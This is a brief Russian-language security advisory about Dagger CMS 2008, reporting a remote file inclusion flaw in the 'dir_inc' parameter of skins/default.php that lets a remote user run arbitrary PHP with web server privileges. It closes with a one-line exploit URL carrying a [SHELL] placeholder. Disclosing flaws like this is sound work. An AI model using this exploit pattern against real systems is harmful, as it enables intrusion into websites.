Программа: Dagger CMS 2008

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в параметре «dir_inc» сценарием default.php. Удаленный
пользователь может выполнить произвольный PHP сценарий на целевой системе с
привилегиями Web сервера.

Эксплоит:

http://localhost/path/skins/default.php?dir_inc=[SHELL]



Оставить мнение